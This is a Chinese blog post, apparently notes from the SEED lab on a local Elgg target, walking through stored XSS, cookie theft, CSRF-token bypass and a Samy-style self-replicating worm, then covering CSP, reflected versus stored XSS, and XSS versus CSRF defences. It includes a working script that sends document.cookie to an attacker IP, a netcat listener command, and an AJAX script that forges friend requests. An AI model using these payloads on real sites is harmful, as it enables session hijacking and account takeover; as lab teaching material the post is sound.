跨站脚本攻击 (XSS) 全解析:从原理基础到蠕虫实战

跨站脚本攻击 (XSS) 全解析:从原理基础到蠕虫实战

周三 1月 01 2025 Course
1241 字 · 5 分钟

[迁移说明] 本文最初发布于 blog.zzw4257.cn,现已迁移并在本站进行结构化整理与增强。

0. 实验背景:Samy Worm 的启示

2005年,Samy Kamkar 在 MySpace 上利用一段代码,在 20 小时内感染了 100 万用户,使其自动添加其为好友。本实验将在 Elgg(开源社交网络软件)靶场中复现这种跨站脚本攻击 (XSS)

核心逻辑:

  1. Web 应用程序盲目信任用户输入。
  2. 攻击者将代码(JavaScript)伪装成数据存入服务器。
  3. 受害者的浏览器执行了这段恶意代码。

1. 战场地形:Web 架构的具体化

理解 XSS 攻击需明确各个组件的职责:

  1. 客户端 (Browser / Victim)
    • 职责:解析并执行服务器返回的 HTML 和 JavaScript。
    • 关键点:XSS 代码是在受害者的浏览器里运行的,而非服务器。
  2. Web 服务器 (Server / Container)
    • IP/域名10.9.0.5 / www.seed-server.com
    • 职责:处理业务逻辑,从数据库提取内容并拼凑成 HTML 发回。
  3. 数据库 (Database)
    • 职责:存储用户数据,包括被注入的恶意代码。

2. 核心机制:Cookie 与 Session

HTTP 协议是无状态的,服务器通过 Cookie 来识别用户身份。当用户登录后,服务器会在 Header 中设置 Set-Cookie。浏览器此后每次请求都会自动携带该 Cookie。

XSS 的本质目标: 攻击者的 JS 代码通过 document.cookie 访问 Session ID,从而实现 Session 劫持


3. 实验环境配置

3.1 DNS 映射

修改 /etc/hosts 以确保浏览器能解析伪造域名:

BASH
10.9.0.5 www.seed-server.com

3.2 关键工具

  • HTTP Header Live:用于监控 HTTP 请求,区分 GET 与 POST 及其参数。
  • Netcat (nc):用于接收受害者发出的敏感信息。

4. 初次交锋:注入与窃取 (Task 1-3)

4.1 验证漏洞 (Stored XSS)

在 Elgg 的个人资料(Profile)中输入以下代码:

HTML
<script>alert('XSS');</script>

注意:必须使用编辑器的 “Edit HTML” 模式,否则 < 会被转义为 &lt;,导致脚本失效。

仅在受害者端弹窗没有意义,攻击者需要通过以下方式外传数据:

HTML
<script>
    document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) + ' >');
</script>
  • 原理:利用 <img> 标签的 src 属性自动发起 GET 请求。
  • 攻击者端:运行 nc -lknv 5555 监听端口,即可捕获受害者的 Cookie。

5. 进阶攻击:从“偷窥”到“夺舍” (Task 4 & 5)

利用 AJAX (XMLHttpRequest),攻击者可以代表受害者发送指令。

5.1 绕过 CSRF 防御令牌

Elgg 使用 __elgg_ts__elgg_token 防御 CSRF。但在 XSS 攻击中,脚本运行在受害者页面内部,可以直接通过 DOM 读取这些令牌:

JAVASCRIPT
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

5.2 伪造操作 (以加好友为例)

JAVASCRIPT
<script type="text/javascript">
window.onload = function () {
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var sendurl = "http://www.seed-server.com/action/friends/add?friend=47" + ts + token; 
    
    var Ajax = new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.send();
}
</script>

6. 终极挑战:自我复制的蠕虫 (Task 6)

Samy 蠕虫的核心是 Quine(自产生程序)。恶意代码在修改他人资料时,必须将自己的源码副本填入 POST 参数中。

核心实现逻辑:

  1. 读取自身:通过 document.getElementById("worm").innerHTML 获取代码体。
  2. 封装标签:手动拼接 <script> 头部与尾部(尾部需写成 "</" + "script>" 防止解析错误)。
  3. 编码传输:必须使用 encodeURIComponent() 对代码进行 URL 编码,否则代码中的 & 符号会截断 POST 参数。

7. 防御机制:内容安全策略 (CSP)

CSP (Content Security Policy) 是一种白名单机制,通过 HTTP Header 告诉浏览器哪些来源的资源是合法的。

  • 指令示例script-src 'self' *.trusted.com 只允许加载同源或受信任域名的脚本。
  • Nonce 机制:为内嵌脚本发放一次性“通行证”,只有 nonce 匹配的脚本才会被执行。攻击者因无法预测随机生成的 nonce 而被拦截。

8. 深度对比:反射型 vs 存储型

特性反射型 (Reflected)存储型 (Persistent)
数据流向浏览器 -> 服务器 -> 浏览器 (立即)存储在服务器数据库中
持久性一次性,随请求结束永久存在,直至被手动删除
触发条件用户必须点击特定的钓鱼链接用户只需正常浏览受感染页面
常见场景搜索框、错误页面留言板、个人资料、私信

9. 总结:CSRF vs XSS

  • XSS:控制页面内容。攻击者把恶意脚本塞进网站,劫持前端执行环境。
  • CSRF:劫持用户身份。攻击者不控制代码,只是利用浏览器自动携带 Cookie 的特性,诱导浏览器“替”用户发请求。

防御原则:

  • 防 XSS:不信任输入,严格转义输出,使用 CSP。
  • 防 CSRF:引入 CSRF Token,使用 SameSite Cookie 属性。

Thanks for reading!

跨站脚本攻击 (XSS) 全解析:从原理基础到蠕虫实战

周三 1月 01 2025 Course
1241 字 · 5 分钟
cover

His Smile

麗美